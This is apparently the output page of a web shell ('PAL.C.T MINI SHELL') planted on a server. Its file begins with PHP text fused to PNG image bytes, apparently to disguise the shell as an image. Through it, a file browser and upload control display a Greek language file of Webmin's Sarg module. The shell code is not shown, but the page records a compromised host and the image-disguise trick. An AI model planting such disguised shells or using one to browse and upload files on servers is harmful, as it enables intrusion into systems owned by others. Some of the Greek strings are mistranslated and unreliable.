php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/sarg/lang/
upload
files >> //usr/libexec/webmin/sarg/lang/el.auto

index_title=Γεννήτρια Αναφοράς Squid
index_econf=Το αρχείο διαμόρφωσης Sarg $1 δεν βρέθηκε στο σύστημά σας. Ίσως το Sarg να μην είναι εγκατεστημένο ή η διαμόρφωση της μονάδας <a href='$2'></a> είναι εσφαλμένη.
index_ecmd=Το πρόγραμμα Sarg $1 δεν βρέθηκε στο σύστημά σας. Ίσως να μην έχει εγκατασταθεί ή η διαμόρφωση μονάδας <a href='$2'></a> είναι εσφαλμένη.
index_eversion=Δεν ήταν δυνατή η λήψη της έκδοσης του Sarg με την εντολή $1 : $2 
index_version=Έκδοση Sarg $1 
index_generate=Δημιουργία αναφοράς τώρα
index_generatedesc=Κάντε κλικ σε αυτό το κουμπί για να δημιουργήσετε αμέσως μια αναφορά Sarg στο $1 χρησιμοποιώντας την τρέχουσα διαμόρφωση.
index_clear=Να διαγραφεί η υπάρχουσα αναφορά στον κατάλογο;
index_range=Δημιουργία αναφοράς για εύρος ημερομηνιών
index_view=Προβολή αναφοράς που δημιουργήθηκε
index_viewdesc=Προβολή της πιο πρόσφατα δημιουργούμενης αναφοράς στον κατάλογο $1.
index_return=δείκτη μονάδας

log_title=Πηγή προέλευσης και αναφορά προορισμού
log_header=Αρχείο καταγραφής Squid πηγής και παράγονται επιλογές αναφοράς
log_access_log=Αρχείο καταγραφής Squid πηγής
log_squid=Τρέχον αρχείο καταγραφής διακομιστή Squid ($1)
log_other=Άλλο αρχείο
log_output_dir=Κατάλογος αναφορών προορισμού
log_output_email=Αποστολή αναφοράς ηλεκτρονικού ταχυδρομείου στη διεύθυνση
log_nowhere=Πουθενά
log_useragent_log=Αρχείο καταγραφής πρακτόρων χρηστών
log_lastlog=Αριθμός αναφορών που πρέπει να τηρούνται
log_unlimit=Απεριόριστος
log_mail_utility=Αποστολή εντολής αποστολής
log_remove_temp_files=Διαγραφή προσωρινών αρχείων μετά την αναφορά;
log_err=Αποτυχία αποθήκευσης των επιλογών πηγής αρχείου καταγραφής
log_efile=Το αρχείο δεν υπάρχει
log_edir=Ο κατάλογος δεν υπάρχει
log_elastlog=Λείπει ή όχι ένας αριθμός
log_eemail=Διεύθυνση ηλεκτρονικού ταχυδρομείου που λείπει ή είναι άκυρη
log_emailx=Λείπει ή μη υπάρχον πρόγραμμα αλληλογραφίας
log_squidguard_log_path=Αρχείο καταγραφής SquidGuard

style_title=Αναφορά στυλ
style_header=HTML στυλ αναφοράς και επιλογές χρώματος
style_title2=Αναφορά τίτλου
style_font_face=Αναφορά γραμματοσειράς σώματος
style_header_color=Χρώμα κεφαλίδας
style_header_bgcolor=Χρώμα φόντου κεφαλίδας
style_header_font_size=Μέγεθος γραμματοσειράς κεφαλίδας
style_background_color=Χρώμα του φόντου
style_text_color=Χρώμα κειμένου
style_text_bgcolor=Χρώμα φόντου κειμένου
style_title_color=Χρώμα τίτλου
style_logo_image=Αναφορά εικόνας για το λογότυπο
style_image_size=Μέγεθος εικόνας (πλάτος και ύψος)
style_logo_text=Κείμενο για το λογότυπο
style_logo_text_color=Χρώμα κειμένου για το λογότυπο
style_background_image=Αναφορά εικόνας για φόντο
style_err=Αποτυχία αποθήκευσης των επιλογών στυλ αναφοράς
style_etitle=Λείπει τίτλος αναφοράς
style_ecolour=Λείπει ή μη έγκυρο όνομα χρώματος ή κωδικός RRGGBB
style_efontsize=Λανθασμένο ή μη έγκυρο μέγεθος γραμματοσειράς
style_efont=Λείπει ή μη έγκυρο όνομα γραμματοσειράς
style_esize=Λείπει ή μη έγκυρο πλάτος και ύψος εικόνας
style_language=Γλώσσα αναφοράς
style_charset=Αναφορά συνόλου χαρακτήρων

report_title=Επιλογές αναφοράς
report_header=Αναφορά περιεχομένου και επιλογών δημιουργίας
report_resolve_ip=Επίλυση διευθύνσεων IP;
report_user_ip=Χρησιμοποιήστε διευθύνσεις IP αντί για αναγνωριστικά χρήστη;
report_user_sort_field=Παραγγελία για αναφορά χρήστη
report_topuser_sort_field=Παραγγελία για την αναφορά των κορυφαίων χρηστών
report_reverse=Σε αντίστροφη σειρά
report_forward=Στην προσφορά
report_by_user=Με όνομα χρήστη
report_by_connect=Με το χρόνο σύνδεσης
report_by_bytes=Με bytes
report_by_time=Με το καιρο
report_by_site=Κατά τοποθεσία
report_exclude_users=Καταχωρίστε αρχεία για να εξαιρέσετε τους χρήστες
report_exclude_hosts=Αρχείο καταλόγων αρχείων για εξαίρεση
report_index=Αναδημιουργήστε ξανά το αρχείο <tt>index.html</tt>;
report_only=Δημιουργία <tt>index.html</tt> μόνο
report_overwrite_report=Αντικατάσταση αναφοράς για την ημερομηνία;
report_overno=Όχι, μετονομάστε με.1
report_records_without_userid=Δράση για αρχεία χωρίς χρήστη;
report_ignore=Αγνοήστε εντελώς
report_ip=Χρησιμοποιήστε τη διεύθυνση IP αντ 'αυτού
report_everybody=Χρησιμοποιήστε το όνομα χρήστη <tt>everyone</tt>
report_use_comma=Χρησιμοποιήστε κόμμα αντί για. σε αριθμούς;
report_topsites_num=Αριθμός κορυφαίων ιστότοπων που θα εμφανιστούν
report_topsites_sort_order=Παραγγελία για αναφορά στις κορυφαίες τοποθεσίες
report_sorta=Αύξουσα
report_sortd=Φθίνων
report_index_sort_order=Παραγγελία για συνδέσμους στο <tt>index.html</tt>
report_exclude_codes=Καταχώριση αρχείων HTTP κωδικούς για εξαίρεση
report_max_elapsed=Μέγιστος χρόνος που έχει περάσει (ms)
report_report_type=Αναφορά ενοτήτων για δημιουργία
report_topsites=Κορυφαίες τοποθεσίες
report_topusers=Κορυφαίοι χρήστες
report_sites_users=Sites από τον χρήστη
report_users_sites=Χρήστες ανά τοποθεσία
report_date_time=Χρήση ανά ημέρα και ώρα
report_denied=Περιορισμένες τοποθεσίες
report_downloads=Λήψεις
report_auth_failures=Αποτυχίες ελέγχου ταυτότητας
report_site_user_time_date=Τοποθεσίες, ημερομηνίες, ώρες και bytes
report_all=Όλες οι αναφορές
report_below=Επιλεγμένα παρακάτω ..
report_usertab=Αρχείο χαρτογράφησης ονόματος χρήστη
report_long_url=Εμφάνιση πλήρων διευθύνσεων URL στην αναφορά;
report_date_time_by=Ταξινόμηση αναφοράς ημερομηνίας/ώρας από
report_bytes=Bytes
report_elap=Χρόνος που παρήλθε
report_user_invalid_char=Μη έγκυροι χαρακτήρες στα ονόματα χρήστη
report_privacy=Απόκρυψη τοποθεσιών που επισκεφτήκατε
report_privacy_string=Κείμενο αντικατάστασης για ιστότοπους που επισκέφτηκαν
report_privacy_string_color=Χρώμα για κείμενο αντικατάστασης
report_below2=Εισήλθε κάτω ..
report_include_users=Δημιουργήστε μόνο αναφορά για τους χρήστες
report_exclude_string=Εξαίρεση γραμμών καταγραφής που περιέχουν
report_allusers=Ολοι οι χρήστες
report_nostrings=Μην αποκλείετε κανένα
report_topuser_num=Αριθμός κορυφαίων χρηστών που θα εμφανιστούν
report_site_user_time_date_type=Site, χρήστης, μορφή ημερομηνίας και ώρας
report_table=Πίνακας HTML
report_list=Λίστα κειμένων
report_displayed_values=Εμφάνιση της κυκλοφορίας ως
report_bytes2=Bytes
report_abbrev=Συντομογραφία (K, M, G)
report_weekdays=Οι εβδομάδες να συμπεριληφθούν στην αναφορά
report_weekdays0=Su
report_weekdays1=Μω
report_weekdays2=Tu
report_weekdays3=Εμείς
report_weekdays4=Θ
report_weekdays5=Φρ
report_weekdays6=ΑΝΩΝΥΜΗ ΕΤΑΙΡΙΑ
report_hours=Ώρες για να συμπεριληφθεί στην αναφορά
report_err=Αποτυχία αποθήκευσης επιλογών αναφοράς
report_efile=Το αρχείο δεν υπάρχει
report_enum=Δεν είναι ένας αριθμός
report_echar=Τα διαστήματα δεν επιτρέπονται
report_estring=Λείπει ή ακυρώνει κείμενο αντικατάστασης
report_eselect=Δεν έχει επιλεγεί τίποτα
report_eenter=Δεν εισήχθη τίποτα

sched_title=Προγραμματισμένη δημιουργία αναφοράς
sched_header=Προγραμματισμένες επιλογές αναφοράς
sched_sched=Η προγραμματισμένη αναφορά είναι ενεργοποιημένη;
sched_yes=Ναι, μερικές φορές επιλεγμένες παρακάτω ..
sched_clear=Σαφής κατάλογος αναφορών κάθε φορά;
sched_dir=Αναφορά καταλόγου
sched_edir=Δεν έχει οριστεί κατάλογος αναφορών προορισμού στη σελίδα <a href='$1'>Πηγή προέλευσης και αναφορά προορισμού</a>. Αυτό πρέπει να οριστεί πριν να είναι ενεργοποιημένη η προγραμματισμένη αναφορά.
sched_esfile=Δεν έχει οριστεί αρχείο καταγραφής Squid στη σελίδα <a href='$1'>Πηγή προέλευσης και αναφοράς προορισμού</a>. Αυτό πρέπει να οριστεί πριν να είναι ενεργοποιημένη η προγραμματισμένη αναφορά.
sched_range=Δημιουργία αναφοράς για εύρος ημερομηνιών
sched_rall=Όλες οι εγγραφές στο αρχείο καταγραφής
sched_rsel=Αυτά από το $1 έως το $2 ημέρες πριν
sched_err=Αποτυχία αποθήκευσης προγραμματισμένης δημιουργίας αναφορών
sched_erfrom=Έλλειψη ή μη έγκυρος αριθμός εκκίνησης πριν από ημέρες
sched_erto=Έλλειψη ή μη έγκυρος αριθμός τερματισμού πριν από ημέρες

view_title=Έκθεση Sarg
view_efile=Ακυρο όνομα αρχείου!
view_eopen=Αποτυχία ανοίγματος αρχείου αναφοράς

gen_title=Δημιουργία αναφοράς
gen_header=Δημιουργία αναφοράς Sarg από το αρχείο καταγραφής Squid $1 και όλες τις περιστρεφόμενες εκδόσεις.
gen_done=.. Ολοκληρώθηκε
gen_failed=.. Sarg απέτυχε! Δείτε την έξοδο παραπάνω για λεπτομέρειες.
gen_nothing=.. Ο Sarg τελείωσε, αλλά δεν δημιουργήθηκε καμία αναφορά. Δείτε την έξοδο παραπάνω για λεπτομέρειες.
gen_view=Προβολή ολοκληρωμένης αναφοράς.
gen_err=Αποτυχία δημιουργίας αναφοράς
gen_efrom=Λείπει ή είναι άκυρο από την ημέρα
gen_eto=Λείπει ή είναι άκυρη την ημέρα

webmin_log_log=Ενημερώθηκε η πηγή καταγραφής και οι επιλογές προορισμού αναφοράς
webmin_log_report=Ενημερωμένες επιλογές αναφοράς
webmin_log_style=Ενημερώσεις επιλογών στυλ αναφοράς
webmin_log_sched_create=Ενεργοποίηση προγραμματισμένων αναφορών
webmin_log_sched_delete=Απενεργοποιημένη προγραμματισμένη αναφορά
webmin_log_sched_update=Ενημερώθηκε προγραμματισμένη αναφορά
webmin_log_sched_nothing=Η αναβολή προγραμματισμένων αριστερών αναμονής
webmin_log_generate=Δημιουργία αναφοράς
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`